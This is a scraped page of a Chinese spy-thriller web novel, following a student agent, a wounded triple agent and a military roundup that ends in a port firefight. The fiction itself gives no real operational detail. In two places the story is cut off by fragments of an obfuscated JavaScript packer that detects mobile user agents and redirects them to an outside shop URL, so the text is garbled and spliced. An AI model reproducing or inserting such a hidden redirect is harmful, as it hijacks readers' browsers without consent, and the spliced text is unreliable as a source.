尹柏萧最后看了一眼城市,转身下楼。 他还有教学方案要做,还有计划要完善,还有……一个可能活不过明天的特别女学生要保护。 生活真他妈忙。黄安妮的人生又像是一部电影,那这一幕的配乐一定是那种悲壮的交响乐,但画面却是她躲在垃圾箱后面,手里拿着对讲机,小声说:“喂?能听到吗?我在B区垃圾箱后面,他们往C区去了——等等,有人在我后面扔香蕉皮!” 晚上八点三十分,黄安妮和叶馨蒙抵达了与“渔夫”约定的会面地点——城北废弃化工厂的第三车间。这里曾经是生产化肥的地方,现在只剩下一堆生锈的管道和刺鼻的化学气味。 停好车后黄安妮突然按住叶馨蒙的手:“等一下。” 叶馨蒙警惕地看着她。 “我收到了短耳鸮的信息。”黄安妮压低声音,“他说‘渔夫’可能是陷阱。战鹰安排了人在周围埋伏,想测试你会不会把军火情报泄露给瑆洲方面。” 叶馨蒙的心沉了下去:“那我们为什么还要来?” “因为这是唯一获取军火下落的机会。”黄安妮说,“而且……我有个计划。” 她快速解释:短耳鸮其实在玩双重游戏——他既把这个会面地点泄露给了战鹰(为了让战鹰测试叶馨蒙),也泄露给了瑆洲军方(为了制造混乱)。而黄安妮自己,决定利用这个混乱,帮助叶馨蒙脱身。 “为什么?”叶馨蒙问,“你不是为爪哇工作吗?也为战鹰工作。为什么帮我?” 黄安妮沉默了五秒,然后说:“因为我表妹莎莎昨晚又来找我了。” 叶馨蒙:“……” “这次她没聊天。”黄安妮继续说,“她只是递给我一张画。画上有两个人:一个在悬崖边拉另一个人上来。我问她这是什么意思,她说:‘安妮姐,这次拉对人。’” 一个三重间谍的人生抉择,居然是基于一个死去表妹的梦境画作。 “所以你觉得我是‘对的人’?”叶馨蒙问。 “我觉得你至少不是完全错的人。”黄安妮苦笑,“而且说实话,我厌倦了。厌倦了为三个老板打工,厌倦了每天晚上和死人聊天,厌倦了连自己是谁都分不清。” 她看了看时间:“八点三十五。‘渔夫’约的是八点四十五。我们有十分钟做决定。” “什么决定?” “我的决定。”黄安妮从口袋里掏出一个小型信号干扰器,“这个可以干扰通讯和监控三分钟。三分钟内,你可以逃走,或者去做你想做的事。我会留下来应付战鹰的人。” 叶馨蒙震惊地看着她:“你会死的。” “可能。”黄安妮耸肩,“但至少我表妹会为我骄傲——也许。或者至少不会每天晚上来烦我了。” 她顿了顿声音突然变得认真:“听着,我知道你是‘金环蛇’。你在为瑆洲情报部门工作。我不在乎。我只想告诉你一件事:真雪鸮已经和短耳鸮联手了。他们的目标不是军火而是战鹰——他们想趁乱除掉他,接管组织,或者至少捞一笔钱跑路。” 叶馨蒙消化着这个信息:“那军火……” “根本不存在。”黄安妮说,“或者说,存在,但早就被真雪鸮转移了。她一直在用这个做诱饵,引诱战鹰上钩。刘易斯也是她杀的——不是灭口,而是因为他想独吞军火卖给别人。” 谜团终于解开了一部分。叶馨蒙感到一阵荒谬:她冒着生命危险伪装成雪鸮,而真雪鸮本人正在用同一个诱饵钓更大的鱼。 “你为什么要告诉我这些?”她问。 “因为……”黄安妮深吸一口气,“因为我想做一件正确的事。就一件。在我死之前。” 她看向废弃车间深处,那里隐约有灯光:“还有五分钟。你决定吧:跑,还是进去?” 叶馨蒙思考了三秒。跑,安全,但任务失败。进去,危险,但可能获取关键情报。 她选择了进去。 “好吧。”黄安妮点头,并不意外,“那我的计划是这样的……” 首先制造混乱 八点四十分,黄安妮启动了信号干扰器。周围所有的通讯设备——包括战鹰埋伏人员的对讲机、短耳鸮的监听设备、甚至“渔夫”的手机——同时失灵三分钟。 “现在,”黄安妮说,“我去引开左边那组人。你去车间深处见‘渔夫’。记住:不管他说什么,别完全相信。拿到情报就走,不要恋战。” “你怎么办?” “我自有办法。”黄安妮露出一个扭曲的笑容,“我可是三重间谍,记得吗?撒谎和逃跑是我的专长。” 她推开车门,跳出去,故意弄出很大的声音,然后朝左边跑去,边跑边喊:“有埋伏!撤退!” 果然,左边传来脚步声和低语,埋伏的人被引开了。 叶馨蒙趁机溜向车间深处。 车间深处,一个男人站在一堆化学桶旁边,背对着入口。听到脚步声,他转过身。 “渔夫”大约四十岁,长相普通,穿着工装,看起来真的像个渔民或工人。但叶馨蒙注意到他的手——手指粗壮,虎口有老茧,是长期用枪的标志。 “拉特娜小姐?”他问,声音沙哑。 “是我。”叶馨蒙保持距离,“你说你有军火的下落。” “我有。”渔夫从口袋里掏出一张折叠的地图,“但我要先确认一件事:你是真货还是假货?” 叶馨蒙心里一紧:“什么意思?” “我听说有个女孩在冒充雪鸮。”渔夫盯着她,“很年轻,很嫩,像个学生。你不是她,对吧?” 这是测试。叶馨蒙大脑飞速运转。承认?否认?还是…… 她决定冒险:“我是拉特娜·维贾亚。如果你怀疑,可以问我任何问题。” 渔夫笑了:“好啊。雪鸮的左耳后面有什么?” 叶馨蒙知道答案——庞教官给的资料里写过:一道三厘米长的刀疤。但她故意说:“什么都没有。我耳朵很干净。” 渔夫的表情变了:“错。有一道疤。” “是吗?”叶馨蒙装作惊讶,“那我可能记错了。毕竟,谁会整天盯着自己的耳朵看?” 这个回答很巧妙:既承认了“错误”,又暗示对方的问题很无聊。 渔夫盯着她看了几秒,然后突然大笑:“好吧,我信你了。毕竟,真正的雪鸮也不会承认自己有疤——她会说‘关你屁事’。” 他递过地图:“军火在这里。龟背岛中部废弃教堂的地下室。坐标我已经标好了。但有个问题:那里有陷阱。真雪鸮设置的,为了防贼。” 叶馨蒙接过地图,快速扫了一眼。坐标看起来很真实,教堂的位置也和情报吻合。 “为什么告诉我这些?”她问,“你不是真雪鸮的人吗?” “曾经是。”渔夫的表情阴沉下来,“但她杀了我义弟——刘易斯。我以为他们是合作伙伴,结果她把他当棋子,用完了就扔。” 原来如此。复仇。这动机足够可信。 “你想要什么?”叶馨蒙问。 “我想要她死。”渔夫说,“或者至少,付出代价。你把地图交给战鹰,他们会去取军火,触发陷阱,损失惨重。真雪鸮的计划就失败了。” “那你呢?” “我会消失。”渔夫转身,“我已经拿到了足够的钱。今晚就离开瑆洲。剩下的,你们自己玩吧。” 他走了几步,又回头:“对了,告诉你那个朋友——黄安妮是吧?——短耳鸮在利用她。战鹰今晚想测试的其实是她,不是你。小心点。” 说完,他消失在阴影中。 叶馨蒙站在原地,握着地图,脑子里的信息乱成一团。 突然,左边传来枪声。 叶馨蒙立刻冲过去。在车间的一个角落,她看到了黄安妮——被三个男人包围,背靠着墙,手里拿着手枪,但子弹似乎打完了。 “放下武器!”其中一个男人喊,“战鹰想见你,活的。” 黄安妮笑了,那笑声在空旷的车间里回荡:“战鹰?那个连自己内裤颜色都要怀疑是不是被下毒的老疯子?” “闭嘴!” “我偏不。”黄安妮把空枪扔到地上,“告诉你们一个秘密:我是三重间谍。我为爪哇工作,为战鹰工作,还为我死去的表妹工作——虽然她没付我工资。” 男人们慢慢逼近。 叶馨蒙躲在管道后面,思考怎么办。她只有一把手枪,对方有三个人,而且可能还有更多。 她看了看手里的地图,突然有了主意。 她站出来,大声说:“军火在我这里!” 所有人的注意力转向她。 叶馨蒙举起地图:“坐标,陷阱位置,所有信息。放她走,地图给你们。” 一个男人冷笑:“我们为什么要相信你?” “因为如果她死了,”叶馨蒙指向黄安妮,“我就烧掉地图。战鹰需要这批军火,你们知道的。” 男人们犹豫了。他们互相低语,然后其中一人说:“把地图扔过来。我们检查后,放你们走。” “先放她走。”叶馨蒙坚持,“到安全距离,我把地图给你们。” 僵持。 就在这时,黄安妮突然动了。她从靴子里抽出一把匕首,刺向最近的男人。男人惨叫倒地,另外两人反应过来,开枪。 砰砰! 黄安妮身体一震,但她没停,扑向第二个男人,两人扭打在一起。 叶馨蒙开枪了——不是瞄准人,而是瞄准他们头顶的管道。生锈的管道断裂,化学液体(天知道是什么)倾泻而下,男人们惊叫着躲开。 “跑!”黄安妮喊,从扭打中挣脱,冲向叶馨蒙。 两人一起朝出口跑去。身后是枪声和叫骂声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937068|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第四步:逃亡与抉择 跑出车间,回到车上,黄安妮发动引擎,车子像疯了一样冲出厂区。 开了五分钟后,确认没有追兵,黄安妮才减速,然后突然咳嗽起来,嘴角渗出鲜血。 叶馨蒙这才看到,黄安妮的腹部中了一枪,血已经染红了衣服。 “该死,”黄安妮苦笑,“这套衣服很贵的。” “你需要去医院!”叶馨蒙说。 “去医院就是送死。”黄安妮摇头,“战鹰的人会监视所有医院。而且……我也不想死在医院里。太普通了。” 她把车停在一个偏僻的路边,熄火,靠在方向盘上,呼吸沉重。 “地图呢?”她问。 叶馨蒙拿出地图。黄安妮看了一眼,笑了:“假的。” “什么?” “坐标是假的。”黄安妮指着地图,“这个教堂根本不存在。‘渔夫’在骗你——或者,他在骗战鹰。真雪鸮可能给了他假情报,让他当替死鬼。” 一场生死逃亡,换来的是一张假地图。 “那我们现在怎么办?”叶馨蒙问。 黄安妮从口袋里掏出一个小型U盘,递给叶馨蒙:“这里面才是真东西。战鹰组织的完整成员名单、行动记录、资金流向。我花了三年收集的。本来想卖个好价钱,现在……给你吧。” 叶馨蒙接过U盘,感到手里沉甸甸的。 “为什么?”她又问了一遍。 黄安妮看着窗外,夜色深沉:“因为我表妹说得对。这次,我想拉对的人。” 她顿了顿,声音越来越弱:“送我回城西。我知道一个地方,黑市医生,不问问题。然后你……去做你该做的事。” “你怎么办?” “我?”黄安妮笑了,“如果我能活下来,我就退休。去一个没人认识我的地方,开个小店,卖……卖什么呢?算了,到时候再想。” “如果活不下来呢?” “那就活不下来呗。”黄安妮耸肩,但动作牵动了伤口,疼得龇牙咧嘴,“至少这次,我做了选择。不是被迫的,是我自己选的。” 她看向叶馨蒙,眼神突然变得认真:“告诉瑆洲方面:真雪鸮和短耳鸮的目标不只是战鹰。他们想制造混乱,趁乱拿走一批被军方扣押的高科技装备——就在圣保罗医院地下三层。那才是真正的‘军火’。” 叶馨蒙震惊:“你怎么知道?” “因为我为三个老板工作,记得吗?”黄安妮苦笑,“信息是唯一的硬通货。我知道很多事,但从来没告诉过任何人。现在……现在可以说了。” 她靠在座椅上,闭上眼睛:“开车吧。我有点累,想睡一会儿。” 叶馨蒙启动车子,朝城西驶去。后座上,黄安妮的呼吸渐渐平稳,但脸色越来越苍白。 夜色中,城市灯火通明。人们还在过着自己的生活:吃饭、看电视、吵架、相爱。没人知道,在这辆不起眼的轿车里,一个三重间谍正在流血,而一个高中生特工正在赶往下一个战场。 黄安妮可能活不过今晚,但她至少做出了选择——不是为了国家,不是为了正义,甚至不是为了赎罪。 只是为了告诉死去的表妹:这次,我拉对人了。 为了这个理由,值得中一枪。 值得死。 车子驶过一盏路灯,灯光在黄安妮脸上划过。她突然睁开眼睛,轻声说: “你知道吗,我表妹最喜欢画星空。她说星星看起来很近,其实很远。就像人和人一样。” 叶馨蒙没说话。 “但我现在觉得,”黄安妮继续说,“有时候,人和人也可以很近。就像现在,我们坐在一辆车里,你开车,我流血,但我们都在做自己选择的事。” 她又笑了:“这感觉……还不错。” 然后她闭上眼睛,这次真的睡着了。 叶馨蒙握着方向盘,看着前方的路。 U盘在口袋里,地图在座位上,信息在脑子里。 还有48小时。 不,现在可能只有36小时了。 对决前夜,一个三重间谍选择了站在她这边。 这算是个好消息。 幽默的好消息。 她踩下油门,车子加速驶向黑暗。 而在城市的另一端,真雪鸮和短耳鸮正在看着监控屏幕,上面显示着废弃化工厂的混乱场景。 “黄安妮反水了。”短耳鸮说。 “意料之中。”真雪鸮微笑,“她一直想做个好人,只是没机会。现在她有了。” “那个假货呢?” “她会来的。”真雪鸮看向窗外,“带着假地图,带着真情报,带着一腔热血。年轻人总是这样。” 她端起酒杯:“为了混乱。” 短耳鸮也端起酒杯:“为了养老金。” 两人碰杯。 决战即将开始。 而黄安妮,在睡梦中,终于不再梦见表妹。 她梦见了一片星空。 很近,很亮。 像从未有过的自由。 51. 全城收网 瑆洲军方的收网行动仿佛有进度条,那今晚的进度大概是加载到87%时卡住了,还弹出个对话框:“发现两个高危进程正在尝试逃脱——是否强制终止?” 原来晚上十点整,收网指令下达。接下来的两小时里,整个瑆洲上演了一出现实版“打地鼠”,只不过地鼠们装备着AK-47,而锤子是特种部队。 第一幕:教科书式逮捕 城西某公寓,吴山河携同两个“战鹰”组织的后勤人员正在清点伪造证件。刚接到“所有人员立即转移”的加密指令,正手忙脚乱地把护照、身份证、驾驶执照塞进碎纸机。 碎纸机吞到第三本爪哇护照时卡住了,发出濒死的嗡嗡声。其中一人拍打着机器:“这破玩意儿!花了大价钱买的!” “我早说该买德国货——”另一人的话被破门声打断。 不是踢门,是专业破门锤,“哐”的一声,门连着门框一起倒进屋里。六个全副武装的特种兵瞬间占据所有角落,激光瞄准器的红点精准地停在两人眉心。 “手举高!转身!面壁!想念妈妈的话可以现在开始!”带队士官一气呵成。 三人乖乖照做。碎纸机还在卡着,“嗡嗡”声成了荒诞的背景音。一个特种兵走过去按下停止键,世界安静了。 “证据确凿。”士官对着通讯器报告,“目标抓获,缴获伪造证件一批,还有一台……呃,需要维修的碎纸机。姓吴的也一起!” 城南仓库区,五个武装分子正在把军火装车。他们接到的是“B计划:紧急撤离”,但为哪辆车装弹药发生了争执。 “越野车!越野车通过性好!” “轿车!轿车不起眼!” “可轿车后备箱装不下火箭筒!” 争论被头顶的轰鸣声打断。三架无人机悬停在仓库天窗外,探照灯把里面照得雪亮,扩音器传出机械音:“你们已被包围。建议投降。重复,建议投降。如果选择抵抗,我们将使用非致命武器——比如□□,那会让你们哭得很丢脸。” 五个人面面相觑。其中一人小声说:“我花粉过敏,□□可能会让我打喷嚏……” “投降吧。”另一人叹气,“至少牢饭不用自己煮。” 他们放下武器,举手走出仓库。外面,特种部队早已布好阵型。带队军官看了眼他们准备的两辆车,摇头:“一辆装火箭筒的轿车?你们是打算一边逃跑一边把城市炸个遍吗?” 黑色幽默。一场军火转移行动,败给了糟糕的车辆选择。 第二幕:漏网之鱼 但并非所有“地鼠”都这么配合。 废弃冷冻仓库——战鹰的临时指挥中心——在收网行动开始前三分钟收到了预警。不是内部泄密,而是一个在网吧被抓的低级成员,在被按倒前用游戏语音喊了句暗号:“团灭!快跑!” 虽然含糊,但足够让战鹰警觉。 当第一支特种部队小队抵达仓库外围时,战鹰和真雪鸮刚刚启动应急协议。协议第一条:分头逃跑,在预定的第三汇合点碰面。 “你走排水系统。”战鹰对真雪鸮下令,自己抓起一个黑色手提箱,“我走地面。记住,如果一方被捕,另一方继续计划。” 真雪鸮点头,但眼神里闪过一丝算计。她知道战鹰的手提箱里有什么——现金、加密硬盘、以及组织在海外账户的访问密钥。那箱子比战鹰本人更有价值。 两人分头行动。 战鹰从仓库后门冲出,跳上一辆伪装成冷藏货车的逃生车。车子撞开路障时,特种部队刚刚完成对前门的控制。 “目标一驾车逃脱!重复,目标一驾车逃脱!车辆型号:白色冷藏货车,车牌……”通讯频道里一阵嘈杂。 真雪鸮则回到仓库内部,没有立刻进入排水系统。她闪进战鹰的临时办公室,用早就复制的钥匙打开一个暗格——里面是另一套逃生装备:便服、假发、伪造的医护证件,还有一个小型信号干扰器。 她快速换装,把原来的衣服塞进暗格。这时,她听到特种部队进入仓库的脚步声。 “全面搜查!每个角落!” 真雪鸮按下信号干扰器,然后推开办公室另一侧的书架——后面是通风管道入口,她三天前悄悄改造的备用出口。 她钻进去时,听到士兵冲进办公室的声音:“没人!但有近期活动痕迹!” 通风管道狭窄,但真雪鸮身材瘦小,爬行自如。五分钟后,她从五百米外的一个检修口钻出,置身于一条昏暗的后巷。 她脱下沾染灰尘的外套,露出里面的护士服,戴上假发和眼镜,然后推起旁边早已准备好的轮椅——上面坐着一个医用假人,盖着毯子。 完美伪装:一个夜班护士,推着病人转院。 她推着轮椅走向巷口,正好与一队巡逻士兵擦肩而过。士兵看了她一眼,目光在护士服和假人身上停留片刻,点了点头。 真雪鸮平静地推着轮椅走过,心跳都没有加速。 专业,就是连逃跑都要有风格。 第三幕:叶馨蒙的抉择 叶馨蒙此刻正在城西的一家地下诊所外。她把黄安妮送进去已经一小时了,黑市医生正在手术,隔着门她能听到医疗器械的碰撞声和偶尔的低声指令。 她的加密通讯器震动不停。庞教官的更新一条接一条: “收网行动进行中。已控制27个地点,抓获43人。” “战鹰和真雪鸮逃脱。最后出现在冷冻仓库区域。” “军方正在全力追捕,但需要地面情报。你能否提供协助?” 叶馨蒙看着信息,肩膀的伤口还在隐隐作痛(之前躲避流弹时的擦伤),但她知道不能休息。 她回复:“我在城西。需要我做什么?” 庞教官的回复很快:“如果可能,前往港口区。情报显示战鹰可能试图从海上逃脱。但注意安全,这不是命令,是请求。” 叶馨蒙明白“请求”的意思:如果她选择不去,不会受到处分;但如果去,将面临极高风险。 她看了眼诊所的门。黄安妮还在手术中,生死未卜。但如果战鹰和真雪鸮逃脱,未来会有更多人像黄安妮一样,或者更糟。 她做出了决定。 诊所门开了,医生走出来,摘下沾血的手套:“子弹取出来了。她失血很多,但应该能活。住院费、手术费、医药费,加上我的精神损失费——看你朋友那伤就知道不是普通事故——总共八千。” 叶馨蒙付了钱(用的是庞教官给的应急资金),然后对医生说:“如果她醒了,告诉她……我去了。” 医生数着钱,头也不抬:“去哪?送死?年轻人总爱干这种事。” 叶馨蒙没回答,转身离开。 她没有直接去港口,而是先回了趟自己的公寓。她从床底拖出一个隐藏的箱子——里面是庞教官为她准备的“极端情况”装备。 她换上黑色战术服,检查装备:手枪(这次带足了弹药)、匕首、夜视镜、加密通讯器、烟雾弹、甚至还有一个小型无人机。 但当她准备离开时,看到了墙角靠着的东西——一把AK-47,是之前从那个被制服的恐怖分子身边捡的,她顺手带了回来。 她犹豫了一下。手枪适合隐蔽行动,但AK火力更强。如果真要面对战鹰这种危险人物…… 她抓起了AK。很沉,但手感扎实。她检查了弹匣:还剩二十八发子弹。 一个高中生,背着AK-47,走在凌晨的街道上——这画面太超现实,连叶馨蒙自己都觉得荒谬。 但她没时间多想。她骑上摩托车(还是那辆“借”来的),AK横在身前,朝港口方向疾驰。 第四幕:追逐开始 港口区已经进入半封锁状态。军方设置了检查站,但叶馨蒙的“特别顾问”证件依然有效——虽然每个士兵看到证件照片(一个十八岁女孩)再看到她肩上的AK时,表情都很精彩。 “特别顾问?”一个年轻士兵忍不住问,“顾问什么?如何用AK写作业?” “反恐。”叶馨蒙简短回答,“战鹰可能在这片区域。” 士兵让开路,但补充道:“指挥中心在3号码头。如果你需要支援……” “我知道。”叶馨蒙点头,继续前行。 她没有去指挥中心。庞教官给了她一个加密频段,可以直接与行动指挥官联络。她接通频道,报上身份。 “金环蛇收到。我在港口5区。有没有目标踪迹?” 频道里沉默了几秒,然后一个沉稳的男声响起:“无人机热成像显示,冷藏仓库区有异常热源。但不确定是目标还是流浪汉。我们的人正在赶过去。” “冷藏仓库区在哪?” “6区和7区之间。但建议你等待支援——” 叶馨蒙已经调转车头。她有种直觉:战鹰那种喜欢掌控一切的人,不会选择完全暴露的海边逃跑,而是会躲在某个能观察全局的地方。 冷藏仓库区很符合:高大的仓库可以藏匿车辆,屋顶可以观察港口动静,而且离几个小型私人码头都不远。 她接近仓库区时关闭了摩托车引擎,推车前进。夜视镜里,世界变成绿色,一切细节清晰可见。 她看到了那辆白色冷藏货车——停在7号仓库的阴影里,很隐蔽,但货箱后门微微开着,露出里面微弱的灯光。 她小心靠近,AK抵在肩上,手指轻搭扳机。 仓库区很安静,只有远处海浪的声音和偶尔的海鸟叫声。太过安静了。 叶馨蒙在距离货车二十米处停下,躲到一个集装箱后面。她拿出小型无人机——巴掌大小,静音飞行——操控它飞向货车。 无人机传回的画面显示:货车驾驶座空着,但货箱里有个人影,背对着车门,似乎在操作什么设备。 是战鹰吗?还是真雪鸮?或者只是个留守的司机? 叶馨蒙犹豫了。她应该呼叫支援,等待特种部队。这是正确的程序。 但就在这时,货车里的人站了起来,转身——透过无人机摄像头,叶馨蒙看到了一张侧脸。 战鹰。 他手里拿着一个平板电脑,眉头紧锁,正在快速输入什么。然后他突然抬头,像是察觉到了什么,目光锐利地扫视四周。 叶馨蒙控制无人机升高,躲在仓库屋檐的阴影里。 战鹰走出货车,手里多了把手枪。他警惕地环顾,然后朝叶馨蒙藏身的方向看了一眼。 巧合?还是他真的发现了什么? 叶馨蒙屏住呼吸。夜风很冷,但她感觉手心在出汗。AK的金属枪身冰凉,抵着她的肩膀。 战鹰站了几秒,然后突然转身,快步走向仓库的另一侧——那里停着一艘小型快艇,用防水布盖着,但露出了一部分引擎。 他要从海上走。 叶馨蒙必须做出决定:现在开枪?但距离太远,AK精度不够。冲出去?会暴露在开阔地带。 或者……等支援。 她看了眼时间。从呼叫到现在,已经过去四分钟。支援最快还要三分钟。 三分钟,足够战鹰启动快艇,消失在夜色中的海面。 没有选择了。 叶馨蒙深吸一口气,从集装箱后走出来,AK枪口对准战鹰的背影。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937069|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不许动!” 她的声音在空旷的仓库区回荡,比想象中更响亮。 战鹰身体一僵,缓缓转身。当他看到拿着AK的叶馨蒙时,先是惊讶,然后笑了。 “又是你。”他说,“那个学生。或者说,假雪鸮。看来我们真有缘分。” “放下武器。”叶馨蒙努力让声音平稳,“军方已经包围了这里。” “是吗?”战鹰挑眉,“那我怎么没听到直升机?没看到探照灯?只有你,一个人,一把枪。” 他向前走了一步。 “站住!”叶馨蒙的手指扣紧了扳机。 战鹰停下,但笑容更深了:“你知道怎么用那把枪吗?AK的后坐力很大,第一发子弹通常会飞上天。除非你受过专业训练——但你看起来不像。” 他在试探。叶馨蒙知道。他在判断她的威胁程度。 “我数到三。”战鹰突然说,“一……” 叶馨蒙的呼吸加速。 “二……” 远处传来警笛声。支援快到了。 战鹰听到了,表情一变。他不再数“三”,而是突然向旁边的集装箱后扑去。 叶馨蒙开枪了。 砰砰砰! 三发子弹,打在集装箱上,火花四溅。她努力控制后坐力,但AK确实难以驾驭,子弹偏离了目标。 战鹰已经躲到掩体后,开始还击。 砰砰砰!手枪子弹打在叶馨蒙身边的集装箱上,发出刺耳的撞击声。 她躲回掩体,心脏狂跳。枪战真的开始了——不是演习,不是测试,是真实的子弹在飞舞。 她检查AK的弹匣:还有二十五发。 够用,如果她能冷静下来。 她深吸一口气,从掩体边缘探头,快速瞄准,开枪。 这次好多了。子弹打在战鹰藏身的集装箱附近,逼得他缩回头。 僵持。 远处警笛声越来越近。探照灯光划破夜空。 战鹰知道时间不多了。他突然从掩体后扔出一个小型圆柱体——不是手雷,是烟雾弹。 嗤——白色浓烟瞬间弥漫,遮蔽了视线。 叶馨蒙戴上夜视镜,但烟雾太浓,热成像效果也有限。 她听到快艇引擎启动的声音。 “他要跑!”她对着通讯器喊,然后冲出掩体,朝声音方向冲去。 穿过烟雾,她看到了快艇——已经解开了缆绳,战鹰正在跳上船。 她举枪,瞄准,但快艇已经开始移动,而且烟雾影响了视线。 开枪吗?可能会打空,也可能会误伤。 犹豫的瞬间,快艇加速,冲出了仓库的小码头,驶向黑暗的海面。 叶馨蒙跑到码头边缘,只能看着快艇的尾灯越来越远。 她失败了。 不,还没完全失败。 她举起AK,不是瞄准快艇(太远了),而是瞄准天空,扣动扳机。 砰砰砰砰砰! 连续射击,枪口焰在夜色中闪烁,枪声在海面上回荡。 她在用枪声导航——为军方直升机指引方向。 几秒后,夜空中传来旋翼的轰鸣。两架军用直升机从港口方向飞来,探照灯锁定海面上的快艇。 “发现目标!海上!重复,目标在海上!” 通讯频道里传来回应:“海警船已经出动。空中单位持续追踪。” 叶馨蒙放下AK,肩膀因为后坐力而酸痛。她看着直升机追逐快艇,探照灯在黑暗的海面上划出光柱。 至少,战鹰逃不掉了。 但真雪鸮呢? 她环顾四周。仓库区恢复了安静,只有烟雾在慢慢散去。 真雪鸮消失了,就像从未出现过。 叶馨蒙靠在集装箱上,感到前所未有的疲惫。肾上腺素消退后,伤口疼得更厉害了,全身的肌肉都在抗议。 远处,特种部队的车辆驶入仓库区。士兵们迅速散开,控制现场。 一个军官走向她,看着她手里的AK,又看看她年轻的脸,表情复杂。 “特别顾问?”他问。 叶馨蒙点头,想说话,但喉咙发干。 军官接过她的AK(动作专业地退膛,检查安全),然后说:“医疗车在外面。你需要处理一下伤口。” “战鹰……”叶馨蒙说。 “海警会处理。他跑不了。”军官顿了顿,“你做得很好。虽然……不太合规。” 看嘛,一个高中生用AK与恐怖分子头目交火,最后评价是“不太合规”。 叶馨蒙笑了,那笑容很疲惫,但真实。 她被扶上医疗车时,回头看了一眼海面。快艇还在逃,直升机紧追不舍,探照灯光像舞台上的聚光灯。 而真雪鸮,那个真正的雪鸮,此时可能正在城市的某个角落,看着这一切,计划着下一步。 游戏还没结束。 但至少今晚,网收了一大半。 叶馨蒙靠在担架上,闭上眼睛。 枪战留到下一章。 现在,她需要休息。哪怕只有几分钟。 医疗车驶离港口,车顶的警灯旋转,在夜色中划出红蓝的光轨。 远处海面上,追捕还在继续。 而城市里,更多的人在睡梦中,对今晚发生的一切一无所知。 黑色幽默。有些人用生命在战斗,有些人在梦里吃冰淇淋。 世界就是这样,分裂而荒谬。 但至少,今晚,分裂的天平稍微倾斜向了正确的一边。 叶馨蒙想着,沉沉地睡去了。 52. 鹰巢枪战 冷冻仓库的枪声余音还没散尽,叶馨蒙就被一条紧急情报从医疗站的临时病床上拽了起来——真雪鸮没逃远,她回到鹰巢的老据点:那座废弃造船厂。 庞教官的通讯简练如手术刀:“真雪鸮在造船厂,战鹰的海上逃脱是幌子,他们在演戏。军方正在集结,但需要有人确认内部情况。你熟悉那里。” 叶馨蒙按着肩膀上新包扎的伤口坐起来,旁边的军医皱眉:“你去哪?伤口会裂开。” “上厕所。”她撒谎,抓起搭在椅背上的战术背心。AK被军方收走了,但她还有手枪——从医疗站柜子里“借”的,配两个满弹匣。 凌晨三点二十分,造船厂像一头蹲在黑暗里的钢铁巨兽。叶馨蒙把摩托车藏在半公里外的树林,徒步接近。夜色是最好的伪装,但也是最好的陷阱。 她刚翻过锈蚀的围栏,就听到了声音——不是人声,是金属碰撞声,从主厂房深处传来。 还有微弱的灯光。 叶馨蒙贴着墙壁移动,手枪握在手里,保险已开。肩膀的伤口随着每次心跳抽痛,但她强迫自己忽略。 主厂房的门虚掩着。她从门缝看进去,看到了意想不到的场景: 战鹰和真雪鸮在厂房中央面对面站着,中间隔着一张旧工作台。两人都没拿武器,但气氛紧绷得像拉满的弓。 “你把硬盘给我,我告诉你军火在哪里。”真雪鸮的声音在空旷的厂房里回荡。 “你先说军火在哪里,我再给你硬盘。”战鹰冷笑,“别把我当傻子,拉特娜。你这条养不熟的母狗!从我的保险箱偷走的东西,足够你丧命十次。” “那你还来找我谈?” “因为你需要我知道的那个密码——海外账户的密码。没有它,硬盘里的资金你一分也动不了。” 两个恐怖分子头目,在军方围捕的间隙,像菜市场大妈一样讨价还价。 叶馨蒙屏住呼吸,继续观察。她注意到厂房里不止他们两人——阴影里还有人影,至少三个,分散在不同位置。 埋伏。 她在等军方信号——庞教官说会以港口方向的红色信号弹为号,发起总攻。但信号弹迟迟未发。 然后她看到了黄安妮。 在厂房二楼的一条走廊上,黄安妮靠在一根柱子后面,脸色苍白,但手里握着一把□□。她显然也是刚到,正在观察下面的对峙。 黄安妮怎么在这里?她不是应该在诊所吗? 叶馨蒙来不及细想,因为下面的对话突然升级了。 “时间不多了。”战鹰看了眼手表,“军方随时会到。我们做个交易:硬盘归你,密码归我,军火对半分。然后各走各路。” 真雪鸮笑了:“各走各路?你刚才在港口可是想丢下我独自逃跑。” “那是战术需要。” “我的需要是看到你死。” 话音落下的瞬间,枪声响了。 但不是真雪鸮或战鹰开的枪——枪声来自二楼,黄安妮的位置。子弹打在两人中间的工作台上,木屑飞溅。 “谁都别动!”黄安妮的声音从上方传来带着虚弱但坚定的气息,“……把硬盘和密码都留下……然后滚。” 战鹰和真雪鸮同时抬头,脸上写满惊讶。 “斑头鸺鹠?”战鹰眯起眼睛,“我以为你死了。” “差点。”黄安妮的枪口在两人之间移动,“托你的福。” 真雪鸮突然笑了:“有意思。三重间谍想当渔翁?但你站得稳吗?我看你在流血。” 黄安妮腹部缠着厚厚的绷带,血迹已经渗出来。她确实站不稳,身体微微摇晃,但持枪的手很稳。 “足够撑到把你们都打死。”她说。 对峙。三方僵持。 叶馨蒙知道不能再等了。军方随时可能强攻,混战中黄安妮第一个会死——她伤得太重,移动都困难。 叶馨蒙从阴影里走出来,手枪指向下方:“放下武器,所有人。” 三双眼睛同时转向她。 “金环蛇。”真雪鸮认出了她,笑容变得玩味,“或者说,我的小替身。你也来分一杯羹?” “我是来逮捕你们的。”叶馨蒙说,声音尽量平稳。 战鹰大笑:“逮捕?用一把手枪?对付我们三个?孩子,你数学不太好。” 